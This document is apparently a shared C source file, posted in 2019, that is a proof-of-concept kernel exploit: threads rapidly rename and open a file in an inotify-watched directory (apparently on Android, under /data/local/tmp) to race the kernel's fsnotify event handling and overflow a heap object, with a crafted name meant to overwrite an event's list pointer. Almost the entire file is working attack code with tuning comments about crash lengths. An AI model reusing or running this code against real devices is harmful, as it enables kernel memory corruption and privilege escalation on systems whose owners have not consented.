· 6 years ago · Oct 22, 2019, 12:54 AM
1#define _GNU_SOURCE
2#include <stdio.h>
3#include <stdlib.h>
4#include <unistd.h>
5#include <pthread.h>
6#include <sys/types.h>
7#include <sys/stat.h>
8#include <fcntl.h>
9#include <sched.h>
10#include <sys/socket.h>
11#include <netinet/in.h>
12#include <netinet/tcp.h>
13#include <arpa/inet.h>
14#include <netdb.h>
15#include <string.h>
16#include <signal.h>
17#include <sys/eventfd.h>
18#include <sys/inotify.h>
19#include <sys/mman.h>
20#include <ctype.h>
21#include <errno.h>
22#include <err.h>
23#include <poll.h>
24#include <unistd.h>
25
26void *callrename( void *ptr );
27void *openclose( void *ptr );
28pthread_t thread1, thread2;
29int lastfd;
30char *space;
31int original,printed, *int_space;
32
33volatile int stop = 0;
34
35// Try kmalloc-192 made by cyclic(100)
36char *orig_name = "f";
37
38// 120
39//char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
40
41static void handle_events(int fd, int *wd, int argc, char* argv[])
42{
43 /* Some systems cannot read integer variables if they are not
44 properly aligned. On other systems, incorrect alignment may
45 decrease performance. Hence, the buffer used for reading from
46 the inotify file descriptor should have the same alignment as
47 struct inotify_event. */
48
49 char buf[4096]
50 __attribute__ ((aligned(__alignof__(struct inotify_event))));
51 const struct inotify_event *event;
52 int i;
53 ssize_t len;
54 char *ptr;
55
56 /* Loop while events can be read from inotify file descriptor. */
57
58 for (;;) {
59
60 /* Read some events. */
61
62 len = read(fd, buf, sizeof buf);
63 if (len == -1 && errno != EAGAIN) {
64 perror("read");
65 exit(EXIT_FAILURE);
66 }
67
68 /* If the nonblocking read() found no events to read, then
69 it returns -1 with errno set to EAGAIN. In that case,
70 we exit the loop. */
71
72 if (len <= 0)
73 break;
74
75 /* Loop over all events in the buffer */
76
77 for (ptr = buf; ptr < buf + len;
78 ptr += sizeof(struct inotify_event) + event->len) {
79
80 event = (const struct inotify_event *) ptr;
81
82 /* Print event type */
83/*
84 if (event->mask & IN_OPEN)
85 printf("IN_OPEN: ");
86 if (event->mask & IN_CLOSE_NOWRITE)
87 printf("IN_CLOSE_NOWRITE: ");
88 if (event->mask & IN_CLOSE_WRITE)
89 printf("IN_CLOSE_WRITE: ");
90 if (event->mask % IN_ACCESS)
91 printf("IN_ACCESS: ");
92*/
93 /* Print the name of the watched directory */
94
95 for (i = 1; i < argc; ++i) {
96 if (wd[i] == event->wd) {
97 //printf("%s/", argv[i]);
98 break;
99 }
100 }
101
102 /* Print the name of the file */
103
104 if (event->len && strcmp(event->name, orig_name)) {
105 printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len);
106
107 if ( !strcmp(event->name, "b") && strlen(event->name) == 1) {
108 printf("Detected overwrite!!!\n");
109 stop = 1;
110 break;
111 }
112 }
113
114 /* Print type of filesystem object */
115/*
116 if (event->mask & IN_ISDIR)
117 printf(" [directory]\n");
118 else
119 printf(" [file]\n");
120*/
121 }
122 }
123}
124
125static void* notify_thread_func(void* arg)
126{
127 char buf;
128 int fd, i, poll_num;
129 int *wd;
130 nfds_t nfds;
131 struct pollfd fds[2];
132
133 int argc = 2;
134 char *argv[] = { NULL, "test_dir", NULL};
135/*
136 if (argc < 2) {
137 printf("Usage: %s PATH [PATH ...]\n", argv[0]);
138 exit(EXIT_FAILURE);
139 }
140*/
141 //printf("Press ENTER key to terminate.\n");
142
143 /* Create the file descriptor for accessing the inotify API */
144
145 fd = inotify_init1(IN_NONBLOCK);
146 if (fd == -1) {
147 perror("inotify_init1");
148 exit(EXIT_FAILURE);
149 }
150
151 /* Allocate memory for watch descriptors */
152
153 wd = calloc(argc, sizeof(int));
154 if (wd == NULL) {
155 perror("calloc");
156 exit(EXIT_FAILURE);
157 }
158
159 /* Mark directories for events
160 - file was opened
161 - file was closed */
162
163 for (i = 1; i < argc; i++) {
164 wd[i] = inotify_add_watch(fd, argv[i],
165 IN_OPEN | IN_CLOSE| IN_ACCESS);
166 if (wd[i] == -1) {
167 fprintf(stderr, "Cannot watch '%s'\n", argv[i]);
168 perror("inotify_add_watch");
169 exit(EXIT_FAILURE);
170 }
171 }
172
173 /* Prepare for polling */
174
175 nfds = 2;
176
177 /* Console input */
178
179 fds[0].fd = STDIN_FILENO;
180 fds[0].events = POLLIN;
181
182 /* Inotify input */
183
184 fds[1].fd = fd;
185 fds[1].events = POLLIN;
186
187 printf("Listening for events.\n");
188 while (!stop) {
189 poll_num = poll(fds, nfds, -1);
190 if (poll_num == -1) {
191 if (errno == EINTR)
192 continue;
193 perror("poll");
194 exit(EXIT_FAILURE);
195 }
196
197 if (poll_num > 0) {
198
199 if (fds[1].revents & POLLIN) {
200
201 handle_events(fd, wd, argc, argv);
202 }
203 }
204 }
205
206 close(fd);
207
208 free(wd);
209 exit(EXIT_SUCCESS);
210}
211
212void *trigger_rename_open(void* arg)
213{
214 int iret1, iret2,i;
215
216 setvbuf(stdout,0,2,0);
217
218 iret1 = pthread_create( &thread1, NULL, callrename, NULL);
219 if(iret1)
220 {
221 fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
222 exit(EXIT_FAILURE);
223 }
224
225 iret2 = pthread_create( &thread2, NULL, openclose, NULL);
226 if(iret2)
227 {
228 fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
229 exit(EXIT_FAILURE);
230 }
231 pthread_join( thread1, NULL);
232 pthread_join( thread2, NULL);
233 exit(EXIT_SUCCESS);
234}
235
236
237// 250
238char *longname_padding = "bbbb3210321032103210";
239//char *longname_padding = "bbbb32103210321032103210ABCDEF";
240/*
241rcx : 44434241..
242 DCDA0123
243*/
244// char *longname_padding = "bbbb3210321032GFEDCBA";
245// 31 will crash
246void *callrename( void *ptr )
247{
248 int i,m,k;
249 char enter = 0;
250 char origname[1024];
251 char longname[1024];
252 char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
253 char prev_ptr[8] = "";
254 // This value will overwrite the next (struct fsnotify_event)event->list.next
255
256
257 // create shortname being initial name.
258 snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
259 printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
260 //printf("origname=\"%s\"\n", origname);
261
262 snprintf(longname, sizeof longname, "test_dir/%s%s%s",
263 longname_padding, next_ptr, prev_ptr);
264 //strcat(longname,space);
265 printf("longname=\"%s\"\n", longname);
266
267 for (i=0;i<10000 && !stop ;i++)
268 {
269 if (rename(origname,longname)<0) perror("rename1");
270 if (rename(longname,origname)<0) perror("rename2");
271
272 }
273
274 printf("callrename done.\n");
275}
276
277void *openclose( void *ptr )
278{
279 int j,fd,m,k;
280 char origname[1024];
281 snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
282
283 for (j=0;j<8000 && !stop;j++ )
284 {
285 open(origname,O_RDWR);
286
287 }
288 printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
289
290}
291
292
293void main(void)
294{
295 pthread_t notify_thread[4];
296 pthread_t rename_thread;
297 int i = 0;
298
299 char buf[1024];
300 snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
301 system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
302 system(buf);
303
304 for ( i ; i < 2; i++ ) {
305 pthread_create(¬ify_thread[i],
306 NULL,
307 notify_thread_func,
308 NULL);
309 }
310 //Trigger inotify event by file open and rename to
311 //trigger the vulnerability
312 pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
313
314 pthread_join(rename_thread, NULL);
315 for ( i = 0; i < 2; i++ )
316 pthread_join(notify_thread[i], NULL);
317
318}